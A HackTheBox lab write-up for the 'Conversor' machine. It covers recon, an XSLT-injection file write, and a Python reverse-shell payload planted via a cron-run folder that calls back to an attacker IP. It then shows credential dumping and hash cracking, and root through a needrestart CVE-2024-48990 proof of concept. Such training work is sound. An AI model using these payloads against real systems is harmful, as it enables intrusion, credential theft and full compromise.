HackTheBox - Conversor

Updated 29-03-2026

A Linux machine where an XSLT stylesheet processor accepts attacker-controlled input — and the ability to write arbitrary files, combined with a scheduled task and a vulnerable system utility, leads to root.

Recon

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ip=10.129.8.151; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); nmap -p$ports -sC -sV $ip
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-26 06:49 -0500
Nmap scan report for 10.129.8.151
Host is up (0.13s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_ 256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://conversor.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.76 seconds

Findings:

  • 22/tcp — OpenSSH 8.9p1 on Ubuntu
  • 80/tcp — Apache 2.4.52 redirecting to conversor.htb

Foothold

Hosts File

Add the target domain to /etc/hosts:

1
$ echo '10.129.8.151 conversor.htb' | sudo tee -a /etc/hosts

Directory Enumeration

The app allows users to upload an Nmap XML file and an XSLT template to “transform into a more aesthetic format.” Run ffuf to enumerate directories:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ ffuf -c -u http://conversor.htb/FUZZ -w /usr/share/dirb/wordlists/common.txt

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://conversor.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/dirb/wordlists/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

[Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 229ms]
about [Status: 200, Size: 2842, Words: 577, Lines: 81, Duration: 202ms]

Source Code Review

The /about page exposes the application’s source code. The archive is disguised with a .gz extension but is actually a plain tar archive. Extract it:

1
tar -xf source_code.tar.gz

Two files are of interest:

install.md reveals a cronjob that runs every minute as www-data, executing all Python scripts in the scripts/ folder:

1
2
3
4
5
If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.

"""
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
"""

app.py reveals:

  • User credentials are stored in /var/www/conversor.htb/instance/users.db with MD5-hashed passwords.
  • The /convert endpoint is vulnerable to XSLT injection — it accepts an XSLT file from the user and passes it directly to etree.parseetree.XSLTtransform(...) without any sandbox or XSLTAccessControl. This means we can supply a malicious stylesheet to execute unintended logic on the server, such as writing arbitrary files.

XSLT Injection — File Write

Generate a minimal Nmap XML file to use as input for the converter form:

1
nmap -p80 conversor.htb -oX nmap.xml

Using the EXSLT file-write technique from PayloadsAllTheThings, craft a payload that writes a test file to the web root. Save this as write.xslt and upload it alongside nmap.xml:

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0">
<xsl:template match="/">
<exploit:document href="/var/www/conversor.htb/static/evil.txt" method="text">
Hello World!
</exploit:document>
</xsl:template>
</xsl:stylesheet>

Navigating to http://conversor.htb/static/evil.txt confirms the file was written successfully.

XSLT Injection — Reverse Shell via Cronjob

Since we can write arbitrary files and the cronjob executes every Python script in /var/www/conversor.htb/scripts/ every minute as www-data, we can drop a malicious Python reverse shell script into that directory. Save the following as evil.xslt:

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0">
<xsl:template match="/">
<exploit:document href="/var/www/conversor.htb/scripts/evil.py" method="text">
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
</exploit:document>
</xsl:template>
</xsl:stylesheet>

Start a listener, then upload evil.xslt with nmap.xml and wait up to 60 seconds for the cronjob to fire:

1
2
3
4
$ nc -lnvp 1234            
listening on [any] 1234 ...
connect to [10.10.16.4] from (UNKNOWN) [10.129.8.151] 49684
www-data@conversor:~$

Credential Harvesting

With a shell as www-data, read the SQLite database to extract user credentials:

1
2
3
4
5
6
7
8
9
10
11
www-data@conversor:~/conversor.htb/instance$ sqlite3 users.db
sqlite3 users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
.tables
files users
sqlite> select * from users;
select * from users;
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|keepalive|797919b5a

Crack the MD5 hash for fismathack using Hashcat:

1
2
3
4
5
$ echo "5b5c3ac3a1c897c94caad48e6c71fdec" > hash.txt
$ hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
<-SNIP->
5b5c3ac3a1c897c94caad48e6c71fdec:Keepmesafeandwarm
<-SNIP->

SSH Access

Log in as fismathack and collect the user flag:

1
2
$ ssh fismathack@conversor.htb
fismathack@conversor:~$

Privilege Escalation

CVE-2024-48990 — Needrestart Python Path Hijack

Check sudo permissions:

1
2
3
4
5
6
fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestart

fismathack can run needrestart as root without a password. Check the installed version:

1
2
3
4
5
6
7
8
fismathack@conversor:~$ needrestart -v
[main] eval /etc/needrestart/needrestart.conf
[main] needrestart v3.7
[main] running in user mode
[Core] Using UI 'NeedRestart::UI::stdio'...
[main] systemd detected
[main] vm detected
[main] inside container or vm, skipping microcode checks

needrestart v3.7 is vulnerable to CVE-2024-48990. When needrestart scans running processes it spawns a Python interpreter to inspect them, and it does so in a way that allows an attacker to control the PYTHONPATH environment variable. By planting a malicious shared library disguised as a Python module in a directory on PYTHONPATH, the library gets loaded by the root-owned Python process, giving us code execution as root.

Exploitation

On the attack machine, clone and compile the PoC:

1
2
3
4
5
$ git clone https://github.com/makuga01/CVE-2024-48990-PoC.git
$ cd CVE-2024-48990-PoC
$ set -e
$ mkdir -p "$PWD/importlib"
$ gcc -shared -fPIC -o "$PWD/importlib/__init__.so" lib.c

Copy the compiled PoC to the target:

1
$ scp -r ~/htb/conversor/CVE-2024-48990-PoC fismathack@conversor.htb:/tmp/

On the target, run the exploit script. It sets PYTHONPATH to the PoC directory so that when needrestart spawns Python, it loads the malicious importlib module instead of the legitimate one:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
fismathack@conversor:/tmp$ cd CVE-2024-48990-PoC/
fismathack@conversor:/tmp/CVE-2024-48990-PoC$ PYTHONPATH="$PWD" python3 e.py
Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth:

Traceback (most recent call last):
File "/usr/lib/python3.10/site.py", line 192, in addpackage
exec(line)
File "<string>", line 1, in <module>
ImportError: dynamic module does not define module export function (PyInit_importlib)

Remainder of file ignored
##########################################

Don't mind the error message above

Waiting for needrestart to run...

The error message is harmless — the script is now waiting for needrestart to be triggered. In a second terminal, trigger it with sudo:

1
2
3
$ ssh fismathack@conversor.htb

fismathack@conversor:~$ sudo /usr/sbin/needrestart

As soon as needrestart runs, the malicious module executes as root and a root shell drops in the first terminal:

1
2
3
4
5
6
<-SNIP->

Waiting for needrestart to run...
Got the shell!
# whoami
root